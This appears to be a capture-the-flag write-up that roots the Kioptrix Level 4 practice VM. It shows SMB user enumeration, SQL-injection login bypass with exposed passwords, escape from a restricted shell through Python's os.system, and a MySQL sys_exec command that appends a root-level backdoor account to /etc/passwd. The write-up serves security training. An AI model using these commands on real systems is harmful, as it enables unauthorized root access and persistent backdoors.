Level 4
About Release
Name: Kioptrix: Level 1.3 (#4)
Date release: 8 Feb 2012
Author: Kioptrix
Series: Kioptrix
Web page: http://www.kioptrix.com/blog/?p=604
Download
Kioptrix4_Hyper_v.rar (Size: 210 MB)
Download (Mirror): https://download.vulnhub.com/kioptrix/Kioptrix4_Hyper_v.rar
Kioptrix4_vmware.rar (Size: 208 MB)
Download (Mirror): https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar
Description
Again a long delay between VMs, but that cannot be helped. Work, family must come first. Blogs and hobbies are pushed down the list. These things aren’t as easy to make as one may think. Time and some planning must be put into these challenges, to make sure that:
1. It’s possible to get root remotely [ Edit: sorry not what I meant ]
1a. It’s possible to remotely compromise the machine
Stays within the target audience of this site
Must be “realistic” (well kinda…)
Should serve as a refresher for me. Be it PHP or MySQL usage etc. Stuff I haven’t done in a while.
I also had lots of troubles exporting this one. So please take the time to read my comments at the end of this post.
Keeping in the spirit of things, this challenge is a bit different than the others but remains in the realm of the easy. Repeating myself I know, but things must always be made clear: These VMs are for the beginner. It’s a place to start.
I’d would love to code some small custom application for people to exploit. But I’m an administrator not a coder. It would take too much time to learn/code such an application. Not saying I’ll never try doing one, but I wouldn’t hold my breath. If someone wants more difficult challenges, I’m sure the Inter-tubes holds them somewhere. Or you can always enroll in Offsec’s PWB course. *shameless plug
-- A few things I must say. I made this image using a new platform. Hoping everything works but I can’t test for everything. Initially the VM had troubles getting an IP on boot-up. For some reason the NIC wouldn’t go up and the machine was left with the loopback interface. I hope that I fixed the problem. Don’t be surprised if it takes a little moment for this one to boot up. It’s trying to get an IP. Be a bit patient. Someone that tested the image for me also reported the VM hung once powered on. Upon restart all was fine. Just one person reported this, so hoping it’s not a major issue. If you plan on running this on vmFusion, you may need to convert the imagine to suit your fusion version.
-- Also adding the VHD file for download, for those using Hyper-V. You guys may need to change the network adapter to “Legacy Network Adapter”. I’ve test the file and this one seems to run fine for me… If you’re having problems, or it’s not working for any reason email comms[=]kioptrix.com
Thanks to @shai_saint from www.n00bpentesting.com for the much needed testing with various VM solutions.
Thanks to Patrick from Hackfest.ca for also running the VM and reporting a few issues. And Swappage & @Tallenz for doing the same. All help is appreciated guys
So I hope you enjoy this one.
The Kioptrix Team
Source: http://www.kioptrix.com/blog/?p=604
Note: Just a virtual hard drive. You'll need to create a new virtual machine & attach the existing hard drive
Recon
└─$ ip -4 -brief address show eth0
eth0 UP 10.0.2.15/24
└─$ sudo netdiscover -P -i eth0 -r 10.0.2.0/24 | tee netdiscover.log
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.3 08:00:27:3b:ba:ee 1 60 PCS Systemtechnik GmbH
10.0.2.22 08:00:27:24:69:20 1 60 PCS Systemtechnik GmbH
-- Active scan completed, 4 Hosts found.└─$ grep Kio /etc/hosts
10.0.2.22 Kioptrix4.localdomainSMB
└─$ netexec smb 10.0.2.22 -u '' -p '' --shares
SMB 10.0.2.22 445 KIOPTRIX4 [*] Unix (name:KIOPTRIX4) (domain:localdomain) (signing:False) (SMBv1:True)
SMB 10.0.2.22 445 KIOPTRIX4 [+] localdomain\:
SMB 10.0.2.22 445 KIOPTRIX4 [*] Enumerated shares
SMB 10.0.2.22 445 KIOPTRIX4 Share Permissions Remark
SMB 10.0.2.22 445 KIOPTRIX4 ----- ----------- ------
SMB 10.0.2.22 445 KIOPTRIX4 print$ Printer Drivers
SMB 10.0.2.22 445 KIOPTRIX4 IPC$ IPC Service (Kioptrix4 server (Samba, Ubuntu))└─$ enum4linux 10.0.2.22 | tee enum4linux.log
...
=========================================( Users on 10.0.2.22 )=========================================
user:[nobody] rid:[0x1f5]
user:[robert] rid:[0xbbc]
user:[root] rid:[0x3e8]
user:[john] rid:[0xbba]
user:[loneferret] rid:[0xbb8]
...
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\loneferret (Local User)
S-1-22-1-1001 Unix User\john (Local User)
S-1-22-1-1002 Unix User\robert (Local User)
[+] Enumerating users using SID S-1-5-21-2529228035-991147148-3991031631 and logon username '', password ''
S-1-5-21-2529228035-991147148-3991031631-501 KIOPTRIX4\nobody (Local User)
S-1-5-21-2529228035-991147148-3991031631-513 KIOPTRIX4\None (Domain Group)
S-1-5-21-2529228035-991147148-3991031631-1000 KIOPTRIX4\root (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
...HTTP (80)
No preview, just login page on webapp.
└─$ feroxbuster -u http://10.0.2.22 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.0.2.22
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php, txt]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 10l 33w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 35w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 114l 702w 53168c http://10.0.2.22/images/cartoon_goat.png
200 GET 1l 9w 109c http://10.0.2.22/checklogin.php
200 GET 45l 94w 1255c http://10.0.2.22/
301 GET 9l 31w 346c http://10.0.2.22/images => http://10.0.2.22/images/
200 GET 45l 94w 1255c http://10.0.2.22/index.php
200 GET 45l 94w 1255c http://10.0.2.22/index
301 GET 9l 31w 344c http://10.0.2.22/john => http://10.0.2.22/john/
302 GET 0l 0w 0c http://10.0.2.22/logout => index.php
302 GET 0l 0w 0c http://10.0.2.22/logout.php => index.php
302 GET 1l 22w 220c http://10.0.2.22/member => index.php
302 GET 1l 22w 220c http://10.0.2.22/member.php => index.php
302 GET 0l 0w 0c http://10.0.2.22/john/john.php => ../index.php
[####################] - 20s 28392/28392 0s found:22 errors:25
[####################] - 17s 14184/14184 852/s http://10.0.2.22/
[####################] - 18s 14184/14184 804/s http://10.0.2.22/cgi-bin/
[####################] - 0s 14184/14184 945600/s http://10.0.2.22/images/ => Directory listing
[####################] - 2s 14184/14184 6080/s http://10.0.2.22/john/ => Directory listing I initially tested ' in only username field and discarded the idea of SQLi, but after some time trying ' in both username and password leads to SQL injection!
Try logging with valid username from enum4linux:
john
MyNameIsJohn
robert
ADGAdsafdfwt4gadfga==
SSH (22)
└─$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss john@10.0.2.22
└─$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss robert@10.0.2.22We are able to login as both users, but none of them can do sudo -l
Looks like we are somewhat restricted to shell usage?
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you dont screw up
Type '?' or 'help' to get the list of allowed commands
robert:~$ cd /var/www/html
*** forbidden path -> "/var/www/html"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.Restricted Shell
Shell is restricting access to binaries too
robert:~$ cat .lhistory
*** unknown command: catAvailable commands:
robert:~$ ?
cd clear echo exit help ll lpath lsAllowed path?
robert:~$ lpath
Allowed:
/home/robertjohn:~$ echo $PATH
*** forbidden path -> "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.
john:~$ echo $SHELL
*** forbidden path -> "/bin/kshell"
...
robert:~$ echo (
sh: Syntax error: end of file unexpected (expecting ")")Syntax error? Python?
Yes!
robert:~$ echo help()
Welcome to Python 2.5! This is the online help utility.
If this is your first time using Python, you should definitely check out
the tutorial on the Internet at http://www.python.org/doc/tut/.
Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules. To quit this help utility and
return to the interpreter, just type "quit".
To get a list of available modules, keywords, or topics, type "modules",
"keywords", or "topics". Each module also comes with a one-line summary
of what it does; to list the modules whose summaries contain a given word
such as "spam", type "modules spam".Escape Restricted Shell
robert:~$ echo os.system('id')
uid=1002(robert) gid=1002(robert) groups=1002(robert)
sh: Syntax error: "(" unexpected
robert:~$ echo os.system('bash')
robert@Kioptrix4:~$ id
uid=1002(robert) gid=1002(robert) groups=1002(robert)
robert@Kioptrix4:~$ export TERM=rxvt # <-- Normilize shell environmentGood, we were able to escape the jail via os module.
Privilege Escalation
Still both users can't access sudo -l
suid binaries:
robert@Kioptrix4:~$ find / -perm -4000 2>/dev/null
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/sudoedit
/usr/bin/chfn
/usr/bin/arping
/usr/bin/gpasswd
/usr/bin/mtr
/usr/bin/passwd
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/lib/dhcp3-client/call-dhclient-script
/bin/mount
/bin/ping6
/bin/fusermount
/bin/su
/bin/ping
/bin/umount
/sbin/umount.cifs
/sbin/mount.cifsI wanted to enumerate system via linpeas, but curl wasn't available and wget didn't like connecting to port 80. After running Python simple http server on 443 port we are able to smuggle the file:
robert@Kioptrix4:~$ wget 10.0.2.15/lp.sh
--07:09:44-- http://10.0.2.15/lp.sh
=> 'lp.sh'
Connecting to 10.0.2.15:80... failed: Connection timed out.
Retrying.
--07:12:54-- http://10.0.2.15/lp.sh
(try: 2) => 'lp.sh'
robert@Kioptrix4:~$ wget http://10.0.2.15:443/lp.sh
--07:16:52-- http://10.0.2.15:443/lp.sh
=> 'lp.sh'
Connecting to 10.0.2.15:443... connected.robert@Kioptrix4:~$ sh lp.sh | tee lp.log
...
╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
╚═══════════════════╝
OS: Linux version 2.6.24-24-server (buildd@palmer) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) #1 SMP Tue Jul 7 20:21:17 UTC 2009
User & Groups: uid=1002(robert) gid=1002(robert) groups=1002(robert)
Hostname: Kioptrix4
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /bin/netcat is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)
...
╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════
╚════════════════════╝
...
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.6.9p10
...
╔══════════╣ Executing Linux Exploit Suggester 2
╚ https://github.com/jondonas/linux-exploit-suggester-2
[1] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408
[2] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814
[3] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[4] do_pages_move
Alt: sieve CVE-2010-0415
Source: Spenders Enlightenment
[5] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[6] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787
[7] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787
[8] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787
[9] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297
[10] pipe.c_32bit
CVE-2009-3547
Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[11] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150
[12] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130
[13] sock_sendpage
Alt: wunderbar_emporium CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9435
[14] sock_sendpage2
Alt: proto_ops CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9436
[15] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024
[16] vmsplice1
Alt: jessica biel CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5092
[17] vmsplice2
Alt: diane_lane CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5093
...
╔══════════╣ Searching mysql credentials and exec
Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');
Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');
From '/etc/mysql/my.cnf' Mysql user: user = root
Found readable /etc/mysql/my.cnf
...The sudo version is really old, I thought there would be exploit for it but soon I gave up and focuses on mysql.
MySQL
Service is running as root and root account doesn't have password. The connection params could have been found in /var/www/*.php scripts like:
robert@Kioptrix4:/var/www$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");john@Kioptrix4:~$ ps aux | grep mysql
root 4142 0.0 0.0 1772 528 ? S 04:51 0:00 /bin/sh /usr/bin/mysqld_safe
root 4184 0.0 0.9 127256 20392 ? Sl 04:51 0:08 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 --
root 4186 0.0 0.0 1700 552 ? S 04:51 0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
john 19464 0.0 0.0 3004 756 pts/1 R+ 07:35 0:00 grep mysql
john@Kioptrix4:~$ mysql -u root -p mysql -e 'SELECT sys_eval("id");'
ERROR 1305 (42000) at line 1: FUNCTION mysql.sys_eval does not exist
john@Kioptrix4:~$ mysql -u root -p mysql -e 'SELECT * FROM func;'
Enter password: [BLANK]
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_exec | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
john@Kioptrix4:~$ mysql -u root -p mysql -e 'SELECT sys_exec("id");'
Enter password:
+----------------+
| sys_exec("id") |
+----------------+
| NULL |
+----------------+
john@Kioptrix4:~$ mysql -u root -p mysql -e 'SELECT sys_exec("touch /tmp/pwned");'
Enter password: [BLANK]
+------------------------------+
| sys_exec("touch /tmp/pwned") |
+------------------------------+
| NULL |
+------------------------------+
john@Kioptrix4:~$ ls /tmp/pwned -alh
-rw-rw---- 1 root root 0 2024-07-23 07:34 /tmp/pwned└─$ openssl passwd -6 -salt back door
$6$back$ZEe0NXkJ.MD8pgefaf8ihIknjA5aBcdHra0qz2/784AoQlin/X/qlqsQj2LdqXs55GHAA2PgcjB121eZSuP5I0
---
john@Kioptrix4:~$ mysql -u root -p mysql
Enter password: [BLANK]
...
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
...
mysql> SELECT sys_exec("echo \'pwn:$6$back$ZEe0NXkJ.MD8pgefaf8ihIkn<BcdHra0qz2/784AoQlin/X/qlqsQj2LdqXs55GHAA2PgcjB121eZSuP5I0:0:0:pwn::/bin/bash\' >> /etc/passwd");
+--------------------------------------------------------------------------------------------------------------------------------------------------------+
| sys_exec("echo \'pwn:$6$back$ZEe0NXkJ.MD8pgefaf8ihIkn<BcdHra0qz2/784AoQlin/X/qlqsQj2LdqXs55GHAA2PgcjB121eZSuP5I0:0:0:pwn::/bin/bash\' >> /etc/passwd") |
+--------------------------------------------------------------------------------------------------------------------------------------------------------+
| NULL |
+--------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)Add Root Account
The authentication was failing, I didn't know why. After reading /etc/shadow hashes were $1$..., I guess since box is old it couldn't identify $6$...
└─$ openssl passwd -1 -salt back door
$1$back$HsL.g70.9i5ySAaAA..w/1
---
mysql> SELECT sys_exec("echo \'pwn2:$1$back$HsL.g70.9i5ySAaAA..w/1:0:0:pwn::/bin/bash\' >> /etc/passwd");
+--------------------------------------------------------------------------------------------------------------------------------------------------------+
| sys_exec("echo \'pwn:$6$back$ZEe0NXkJ.MD8pgefaf8ihIkn<BcdHra0qz2/784AoQlin/X/qlqsQj2LdqXs55GHAA2PgcjB121eZSuP5I0:0:0:pwn::/bin/bash\' >> /etc/passwd") |
+--------------------------------------------------------------------------------------------------------------------------------------------------------+
| NULL |
+--------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)
---
robert@Kioptrix4:~$ su - pwn2
Password:
Failed to add entry for user pwn2.
No directory, logging in with HOME=/
root@Kioptrix4:/# id
uid=0(root) gid=0(root) groups=0(root)Root.txt
root@Kioptrix4:/# cat /root/congrats.txt
Congratulations!
You've got root.
There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.
It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.
If you haven't already, check out the other VMs available on:
www.kioptrix.com
Thanks for playing,
loneferretLast updated